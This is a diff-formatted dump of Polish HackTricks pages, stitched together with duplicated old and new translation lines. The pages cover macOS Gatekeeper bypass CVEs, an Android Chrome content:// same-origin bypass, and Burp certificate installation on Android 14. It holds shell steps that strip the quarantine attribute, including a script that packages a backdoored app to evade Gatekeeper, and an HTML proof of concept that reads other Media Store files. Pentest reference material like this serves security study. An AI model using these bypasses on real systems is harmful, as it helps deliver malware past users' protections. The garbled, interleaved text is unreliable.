Wcześniej było możliwe uruchomienie aplikacji, aby ją zcache'ować za pomocą Gatekeeper, a następnie **zmodyfikowanie plików nie wykonywalnych aplikacji** (takich jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
Dlatego wcześniej było możliwe uruchomienie aplikacji, aby ją zbuforować za pomocą Gatekeeper, a następnie **zmodyfikowanie plików nie wykonywalnych aplikacji** (takich jak pliki Electron asar lub NIB) i jeśli nie było innych zabezpieczeń, aplikacja była **uruchamiana** z **złośliwymi** dodatkami.
|
||||||
|
|
||||||
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikowaniu plików** wewnątrz bundli aplikacji. Więc jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), zauważysz, że nie jest już możliwe nadużywanie go, ponieważ po uruchomieniu aplikacji, aby ją zcache'ować za pomocą Gatekeeper, nie będziesz mógł modyfikować bundla. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby ją zcache'ować za pomocą Gatekeeper, spowoduje to błąd i nie zostanie uruchomiona.
|
Jednak teraz to nie jest możliwe, ponieważ macOS **zapobiega modyfikowaniu plików** wewnątrz bundli aplikacji. Więc jeśli spróbujesz ataku [Dirty NIB](../macos-proces-abuse/macos-dirty-nib.md), zobaczysz, że nie jest już możliwe nadużycie, ponieważ po uruchomieniu aplikacji w celu zbuforowania jej za pomocą Gatekeeper, nie będziesz mógł modyfikować bundla. A jeśli zmienisz na przykład nazwę katalogu Contents na NotCon (jak wskazano w exploicie), a następnie uruchomisz główny plik binarny aplikacji, aby zbuforować go za pomocą Gatekeeper, spowoduje to błąd i nie zostanie uruchomiony.
|
||||||
|
|
||||||
## Ominięcia Gatekeepera
|
## Ominięcia Gatekeepera
|
||||||
|
|
||||||
Każda metoda ominięcia Gatekeepera (umiejętność sprawienia, że użytkownik pobierze coś i uruchomi to, gdy Gatekeeper powinien tego zabronić) jest uważana za lukę w macOS. Oto kilka CVE przypisanych do technik, które pozwalały na ominięcie Gatekeepera w przeszłości:
|
Każda metoda ominięcia Gatekeepera (umiejętność sprawienia, aby użytkownik pobrał coś i uruchomił to, gdy Gatekeeper powinien tego zabronić) jest uważana za lukę w zabezpieczeniach macOS. Oto kilka CVE przypisanych do technik, które pozwalały na ominięcie Gatekeepera w przeszłości:
|
||||||
|
|
||||||
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
### [CVE-2021-1810](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810)
|
||||||
|
|
||||||
Zauważono, że jeśli **Archive Utility** jest używany do rozpakowania, pliki o **ścieżkach przekraczających 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Sytuacja ta nieumyślnie pozwala tym plikom na **ominięcie kontroli bezpieczeństwa** Gatekeepera.
|
Zauważono, że jeśli **Archive Utility** jest używane do rozpakowywania, pliki o **ścieżkach przekraczających 886 znaków** nie otrzymują rozszerzonego atrybutu com.apple.quarantine. Sytuacja ta nieumyślnie pozwala tym plikom na **ominięcie kontroli bezpieczeństwa** Gatekeepera.
|
||||||
|
|
||||||
Sprawdź [**oryginalny raport**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) po więcej informacji.
|
Sprawdź [**oryginalny raport**](https://labs.withsecure.com/publications/the-discovery-of-cve-2021-1810) po więcej informacji.
|
||||||
|
|
||||||
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
### [CVE-2021-30990](https://ronmasas.com/posts/bypass-macos-gatekeeper)
|
||||||
|
|
||||||
Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, czego potrzebuje do wykonania, znajdują się w `application.app/Contents/document.wflow`, a nie w wykonywalnym pliku. Wykonywalny plik to tylko ogólny binarny Automator o nazwie **Automator Application Stub**.
|
Gdy aplikacja jest tworzona za pomocą **Automatora**, informacje o tym, co musi wykonać, znajdują się w `application.app/Contents/document.wflow`, a nie w wykonywalnym pliku. Wykonywalny plik to tylko ogólny binarny Automator o nazwie **Automator Application Stub**.
|
||||||
|
|
||||||
Dlatego można sprawić, że `application.app/Contents/MacOS/Automator\ Application\ Stub` **wskaże symboliczny link do innego Automator Application Stub w systemie** i uruchomi to, co jest wewnątrz `document.wflow` (twój skrypt) **bez wywoływania Gatekeepera**, ponieważ rzeczywisty wykonywalny plik nie ma atrybutu kwarantanny.
|
Dlatego można sprawić, że `application.app/Contents/MacOS/Automator\ Application\ Stub` **wskaże symbolicznym odnośnikiem na inny Automator Application Stub w systemie**, a to spowoduje wykonanie tego, co jest wewnątrz `document.wflow` (twój skrypt) **bez wywoływania Gatekeepera**, ponieważ rzeczywisty plik wykonywalny nie ma atrybutu kwarantanny.
|
||||||
|
|
||||||
Przykładowa oczekiwana lokalizacja: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
Przykładowa oczekiwana lokalizacja: `/System/Library/CoreServices/Automator\ Application\ Stub.app/Contents/MacOS/Automator\ Application\ Stub`
|
||||||
|
|
||||||
|
@ -341,7 +341,7 @@ Sprawdź [**oryginalny raport**](https://ronmasas.com/posts/bypass-macos-gatekee
|
||||||
|
|
||||||
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
### [CVE-2022-22616](https://www.jamf.com/blog/jamf-threat-labs-safari-vuln-gatekeeper-bypass/)
|
||||||
|
|
||||||
W tym ominięciu utworzono plik zip z aplikacją zaczynając kompresję od `application.app/Contents` zamiast `application.app`. Dlatego **atrybut kwarantanny** został zastosowany do wszystkich **plików z `application.app/Contents`**, ale **nie do `application.app`**, który był sprawdzany przez Gatekeepera, więc Gatekeeper został ominięty, ponieważ gdy uruchomiono `application.app`, **nie miał atrybutu kwarantanny**.
|
W tym ominięciu został utworzony plik zip z aplikacją zaczynającą kompresję od `application.app/Contents` zamiast od `application.app`. Dlatego **atrybut kwarantanny** został zastosowany do wszystkich **plików z `application.app/Contents`** ale **nie do `application.app`**, który był sprawdzany przez Gatekeepera, więc Gatekeeper został ominięty, ponieważ gdy uruchomiono `application.app`, **nie miał atrybutu kwarantanny.**
|
||||||
```bash
|
```bash
|
||||||
zip -r test.app/Contents test.zip
|
zip -r test.app/Contents test.zip
|
||||||
```
|
```
|
||||||
|
@ -357,16 +357,16 @@ Sprawdź [**oryginalny raport**](https://www.jamf.com/blog/jamf-threat-labs-maco
|
||||||
|
|
||||||
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
### [CVE-2022-42821](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/)
|
||||||
|
|
||||||
ACL **`writeextattr`** może być użyty do zapobieżenia komukolwiek zapisywania atrybutu w pliku:
|
ACL **`writeextattr`** może być używane do zapobiegania zapisywania atrybutu w pliku:
|
||||||
```bash
|
```bash
|
||||||
touch /tmp/no-attr
|
touch /tmp/no-attr
|
||||||
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
chmod +a "everyone deny writeextattr" /tmp/no-attr
|
||||||
xattr -w attrname vale /tmp/no-attr
|
xattr -w attrname vale /tmp/no-attr
|
||||||
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
xattr: [Errno 13] Permission denied: '/tmp/no-attr'
|
||||||
```
|
```
|
||||||
Ponadto format pliku **AppleDouble** kopiuje plik wraz z jego ACEs.
|
Ponadto format pliku **AppleDouble** kopiuje plik wraz z jego ACE.
|
||||||
|
|
||||||
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że reprezentacja tekstowa ACL przechowywana w xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w zdekompresowanym pliku. Dlatego jeśli spakowałeś aplikację do pliku zip w formacie pliku **AppleDouble** z ACL, które uniemożliwia zapisywanie innych xattr do niego... xattr kwarantanny nie został ustawiony w aplikacji:
|
W [**kodzie źródłowym**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) można zobaczyć, że reprezentacja tekstowa ACL przechowywana w xattr o nazwie **`com.apple.acl.text`** zostanie ustawiona jako ACL w zdekompresowanym pliku. Dlatego jeśli spakowano aplikację do pliku zip w formacie pliku **AppleDouble** z ACL, które uniemożliwia zapisywanie innych xattr do niego... xattr kwarantanny nie został ustawiony w aplikacji:
|
||||||
```bash
|
```bash
|
||||||
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
chmod +a "everyone deny write,writeattr,writeextattr" /tmp/test
|
||||||
ditto -c -k test test.zip
|
ditto -c -k test test.zip
|
||||||
|
@ -377,7 +377,7 @@ python3 -m http.server
|
||||||
|
|
||||||
Sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) po więcej informacji.
|
Sprawdź [**oryginalny raport**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) po więcej informacji.
|
||||||
|
|
||||||
Zauważ, że to również mogłoby być wykorzystane z AppleArchives:
|
Należy zauważyć, że to również może być wykorzystane z AppleArchives:
|
||||||
```bash
|
```bash
|
||||||
mkdir app
|
mkdir app
|
||||||
touch app/test
|
touch app/test
|
||||||
|
@ -386,7 +386,7 @@ aa archive -d app -o test.aar
|
||||||
```
|
```
|
||||||
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
### [CVE-2023-27943](https://blog.f-secure.com/discovery-of-gatekeeper-bypass-cve-2023-27943/)
|
||||||
|
|
||||||
Odkryto, że **Google Chrome nie ustawiał atrybutu kwarantanny** dla pobranych plików z powodu pewnych problemów wewnętrznych systemu macOS.
|
Odkryto, że **Google Chrome nie ustawiał atrybutu kwarantanny** dla pobranych plików z powodu pewnych wewnętrznych problemów systemu macOS.
|
||||||
|
|
||||||
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
### [CVE-2023-27951](https://redcanary.com/blog/gatekeeper-bypass-vulnerabilities/)
|
||||||
|
|
||||||
|
@ -404,8 +404,8 @@ aa archive -d test/ -o test.aar
|
||||||
```
|
```
|
||||||
{% endcode %}
|
{% endcode %}
|
||||||
|
|
||||||
Bycie w stanie stworzyć plik, który nie będzie miał ustawionego atrybutu kwarantanny, pozwalało **obejść Gatekeepera.** Trikiem było **stworzenie aplikacji pliku DMG** przy użyciu konwencji nazewnictwa AppleDouble (zaczynając od `._`) i stworzenie **widocznego pliku jako dowiązanie symboliczne do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
Mając możliwość utworzenia pliku, który nie będzie miał ustawionego atrybutu kwarantanny, było **możliwe do ominięcia Gatekeepera.** Trikiem było **utworzenie aplikacji pliku DMG** przy użyciu konwencji nazewnictwa AppleDouble (zaczynając od `._`) i utworzenie **widocznego pliku jako dowiązanie symboliczne do tego ukrytego** pliku bez atrybutu kwarantanny.\
|
||||||
Gdy **plik dmg jest uruchamiany**, ponieważ nie ma atrybutu kwarantanny, **obejdzie Gatekeepera**.
|
Gdy **plik dmg zostanie uruchomiony**, ponieważ nie ma atrybutu kwarantanny, **omija Gatekeepera**.
|
||||||
```bash
|
```bash
|
||||||
# Create an app bundle with the backdoor an call it app.app
|
# Create an app bundle with the backdoor an call it app.app
|
||||||
|
|
||||||
|
@ -421,10 +421,6 @@ ln -s ._app.dmg s/app/app.dmg
|
||||||
echo "[+] compressing files"
|
echo "[+] compressing files"
|
||||||
aa archive -d s/ -o app.aar
|
aa archive -d s/ -o app.aar
|
||||||
```
|
```
|
||||||
### Zapobiegaj atrybutowi xattr kwarantanny
|
### Zapobieganie atrybutowi xattr kwarantanny
|
||||||
|
|
||||||
W paczce ".app", jeśli atrybut kwarantanny nie jest do niej dodany, to **Gatekeeper nie zostanie uruchomiony**.
|
W paczce ".app", jeśli atrybut xattr kwarantanny nie jest do niej dodany, to **Gatekeeper nie zostanie uruchomiony**.
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
|
||||||
|
|
|
@ -4,22 +4,22 @@
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
**To jest streszczenie posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
**To jest streszczenie posta [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
|
||||||
|
|
||||||
### Wymienianie Plików w Magazynie Mediów
|
### Wyświetlanie plików w magazynie multimediów
|
||||||
Aby wymienić pliki zarządzane przez Magazyn Mediów, można użyć poniższej komendy:
|
Aby wyświetlić pliki zarządzane przez Magazyn Multimediów, można użyć poniższej komendy:
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file
|
$ content query --uri content://media/external/file
|
||||||
```
|
```
|
||||||
|
@ -27,7 +27,7 @@ Dla bardziej przyjaznego dla użytkownika wyjścia, wyświetl tylko identyfikato
|
||||||
```bash
|
```bash
|
||||||
$ content query --uri content://media/external/file --projection _id,_data
|
$ content query --uri content://media/external/file --projection _id,_data
|
||||||
```
|
```
|
||||||
Dostawcy treści są izolowani we własnej prywatnej przestrzeni nazw. Dostęp do dostawcy wymaga określonego URI `content://`. Informacje o ścieżkach dostępu do dostawcy można uzyskać z manifestów aplikacji lub kodu źródłowego frameworka Androida.
|
### Dostawcy treści są izolowani we własnej prywatnej przestrzeni nazw. Dostęp do dostawcy wymaga określonego URI `content://`. Informacje o ścieżkach dostępu do dostawcy można uzyskać z manifestów aplikacji lub kodu źródłowego frameworka Androida.
|
||||||
|
|
||||||
### Dostęp Chrome'a do dostawców treści
|
### Dostęp Chrome'a do dostawców treści
|
||||||
Chrome na Androidzie może uzyskać dostęp do dostawców treści za pomocą schematu `content://`, pozwalając na dostęp do zasobów takich jak zdjęcia lub dokumenty eksportowane przez aplikacje innych firm. Aby to zilustrować, plik można wstawić do Magazynu multimediów, a następnie uzyskać do niego dostęp za pomocą Chrome'a:
|
Chrome na Androidzie może uzyskać dostęp do dostawców treści za pomocą schematu `content://`, pozwalając na dostęp do zasobów takich jak zdjęcia lub dokumenty eksportowane przez aplikacje innych firm. Aby to zilustrować, plik można wstawić do Magazynu multimediów, a następnie uzyskać do niego dostęp za pomocą Chrome'a:
|
||||||
|
@ -56,11 +56,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
|
||||||
|
|
||||||
_Same Origin Policy_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że jest to wyraźnie zezwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Ta polityka ma na celu zapobieganie wyciekom informacji i fałszowaniu żądań między witrynami. Chrome traktuje `content://` jako lokalny schemat, co oznacza bardziej restrykcyjne zasady SOP, gdzie każdy adres URL z lokalnym schematem jest traktowany jako osobne źródło.
|
_Same Origin Policy_ (SOP) to protokół bezpieczeństwa w przeglądarkach, który ogranicza interakcje stron internetowych z zasobami z różnych źródeł, chyba że jest to wyraźnie zezwolone przez politykę Cross-Origin-Resource-Sharing (CORS). Ta polityka ma na celu zapobieganie wyciekom informacji i fałszowaniu żądań między witrynami. Chrome traktuje `content://` jako lokalny schemat, co oznacza bardziej restrykcyjne zasady SOP, gdzie każdy adres URL z lokalnym schematem jest traktowany jako osobne źródło.
|
||||||
|
|
||||||
Jednak CVE-2020-6516 był podatnością w Chrome, która umożliwiała obejście zasad SOP dla zasobów ładowanych za pomocą adresu URL `content://`. W rezultacie kod JavaScript z adresu URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą adresów URL `content://`, co stanowiło istotne zagrożenie dla bezpieczeństwa, zwłaszcza na urządzeniach z systemem Android w wersjach wcześniejszych niż Android 10, gdzie nie było wdrożonego przechowywania zasięgu.
|
Jednak CVE-2020-6516 był podatnością w Chrome, która umożliwiała obejście zasad SOP dla zasobów ładowanych za pomocą adresu URL `content://`. W rezultacie kod JavaScript z adresu URL `content://` mógł uzyskać dostęp do innych zasobów ładowanych za pomocą adresów URL `content://`, co stanowiło znaczące zagrożenie dla bezpieczeństwa, zwłaszcza na urządzeniach z systemem Android w wersjach wcześniejszych niż Android 10, gdzie nie było wdrożonego przechowywania z zasięgiem.
|
||||||
|
|
||||||
Poniżej znajduje się przykład koncepcji dowodowej tej podatności, gdzie dokument HTML, po przesłaniu go pod **/sdcard** i dodaniu do Magazynu multimediów, używa `XMLHttpRequest` w swoim kodzie JavaScript do uzyskania dostępu i wyświetlenia zawartości innego pliku w Magazynie multimediów, omijając zasady SOP.
|
Poniżej znajduje się przykład koncepcji działania tej podatności, gdzie dokument HTML, po przesłaniu go pod **/sdcard** i dodaniu do Magazynu multimediów, używa `XMLHttpRequest` w swoim kodzie JavaScript, aby uzyskać dostęp i wyświetlić zawartość innego pliku w Magazynie multimediów, omijając zasady SOP.
|
||||||
|
|
||||||
Kod HTML koncepcji dowodowej:
|
Kod HTML koncepcji działania:
|
||||||
```xml
|
```xml
|
||||||
<html>
|
<html>
|
||||||
<head>
|
<head>
|
||||||
|
@ -89,7 +89,7 @@ xhr.send();
|
||||||
<body onload="poc()"></body>
|
<body onload="poc()"></body>
|
||||||
</html>
|
</html>
|
||||||
```
|
```
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -99,10 +99,10 @@ xhr.send();
|
||||||
|
|
||||||
Inne sposoby wsparcia HackTricks:
|
Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
* **Dołącz do** 💬 [**Grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -14,7 +14,7 @@ Inne sposoby wsparcia HackTricks:
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
|
||||||
|
|
||||||
{% embed url="https://websec.nl/" %}
|
{% embed url="https://websec.nl/" %}
|
||||||
|
|
||||||
|
@ -55,7 +55,7 @@ Po zakończeniu **ponownego uruchomienia urządzenia** certyfikat Burp będzie u
|
||||||
|
|
||||||
Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (być może emulatora) i **nie możesz wykonać** poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie możesz go ponownie zamontować jako zapisywalny, istnieje inny sposób.
|
Jeśli **zrootowałeś swoje urządzenie za pomocą Magisc** (być może emulatora) i **nie możesz wykonać** poprzednich **kroków** w celu zainstalowania certyfikatu Burp, ponieważ **system plików jest tylko do odczytu** i nie możesz go ponownie zamontować jako zapisywalny, istnieje inny sposób.
|
||||||
|
|
||||||
Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8), musisz:
|
Wyjaśnione w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8) musisz:
|
||||||
|
|
||||||
1. **Zainstaluj certyfikat CA**: Po prostu **przeciągnij i upuść** certyfikat Burp w formacie DER, **zmieniając rozszerzenie** na `.crt` w telefonie komórkowym, aby był przechowywany w folderze Pobrane i przejdź do `Zainstaluj certyfikat` -> `Certyfikat CA`
|
1. **Zainstaluj certyfikat CA**: Po prostu **przeciągnij i upuść** certyfikat Burp w formacie DER, **zmieniając rozszerzenie** na `.crt` w telefonie komórkowym, aby był przechowywany w folderze Pobrane i przejdź do `Zainstaluj certyfikat` -> `Certyfikat CA`
|
||||||
|
|
||||||
|
@ -65,7 +65,7 @@ Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8),
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (51).png" alt="" width="334"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
2. **Uczyń go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść** go w telefonie, przejdź do aplikacji Magics na telefonie do sekcji **`Moduły`**, kliknij na **`Zainstaluj z pamięci`**, wybierz moduł `.zip` i po zainstalowaniu **ponownie uruchom** telefon:
|
2. **Zrób go zaufanym przez system**: Pobierz moduł Magisc [MagiskTrustUserCerts](https://github.com/NVISOsecurity/MagiskTrustUserCerts) (plik .zip), **przeciągnij i upuść** go w telefonie, przejdź do aplikacji Magics w telefonie do sekcji **`Moduły`**, kliknij na **`Zainstaluj z pamięci`**, wybierz moduł `.zip` i po zainstalowaniu **ponownie uruchom** telefon:
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
<figure><img src="../../.gitbook/assets/image (52).png" alt="" width="345"><figcaption></figcaption></figure>
|
||||||
|
|
||||||
|
@ -75,11 +75,11 @@ Jak wyjaśniono w [**tym filmie**](https://www.youtube.com/watch?v=qQicUW0svB8),
|
||||||
|
|
||||||
## Po Androidzie 14
|
## Po Androidzie 14
|
||||||
|
|
||||||
W najnowszej wersji Androida 14 zaobserwowano znaczną zmianę w obsłudze certyfikatów urzędów certyfikujących (CA) zaufanych przez system. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami roota, co pozwalało na natychmiastowe zastosowanie ich w całym systemie. Jednak w Androidzie 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który jest z natury niemutowalny.
|
W najnowszej wersji Androida 14 zaobserwowano znaczną zmianę w obsłudze certyfikatów urzędów certyfikujących (CA) zaufanych przez system. Wcześniej te certyfikaty były przechowywane w **`/system/etc/security/cacerts/`**, dostępne i modyfikowalne przez użytkowników z uprawnieniami roota, co pozwalało na natychmiastowe zastosowanie ich w całym systemie. Jednak wraz z Androidem 14 lokalizacja przechowywania została przeniesiona do **`/apex/com.android.conscrypt/cacerts`**, katalogu w ścieżce **`/apex`**, który jest z natury niemutowalny.
|
||||||
|
|
||||||
Próby ponownego zamontowania ścieżki **APEX cacerts** jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie zezwala na takie operacje. Nawet próby odmontowania lub nałożenia na katalog tymczasowego systemu plików (tmpfs) nie omijają niemutowalności; aplikacje nadal uzyskują dostęp do oryginalnych danych certyfikatów bez względu na zmiany na poziomie systemu plików. Ta odporność wynika z konfiguracji montowania **`/apex`** z propagacją PRIVATE, zapewniającą, że wszelkie modyfikacje w katalogu **`/apex`** nie wpływają na inne procesy.
|
Próby ponownego zamontowania ścieżki **APEX cacerts** jako zapisywalnej kończą się niepowodzeniem, ponieważ system nie zezwala na takie operacje. Nawet próby odmontowania lub nałożenia nakładki na katalog za pomocą tymczasowego systemu plików (tmpfs) nie omijają niemutowalności; aplikacje nadal uzyskują dostęp do oryginalnych danych certyfikatu bez względu na zmiany na poziomie systemu plików. Ta odporność wynika z konfiguracji montowania **`/apex`** z propagacją PRIVATE, zapewniającą, że wszelkie modyfikacje w katalogu **`/apex`** nie wpływają na inne procesy.
|
||||||
|
|
||||||
Inicjalizacja Androida polega na procesie `init`, który po uruchomieniu systemu operacyjnego inicjuje również proces Zygote. Proces ten jest odpowiedzialny za uruchamianie procesów aplikacji z nową przestrzenią montowania, która obejmuje prywatne montowanie **`/apex`**, izolując zmiany w tym katalogu od innych procesów.
|
Inicjalizacja Androida polega na procesie `init`, który po uruchomieniu systemu operacyjnego inicjuje również proces Zygote. Proces ten odpowiada za uruchamianie procesów aplikacji z nową przestrzenią montowania, która obejmuje prywatne montowanie **`/apex`**, izolując zmiany w tym katalogu od innych procesów.
|
||||||
|
|
||||||
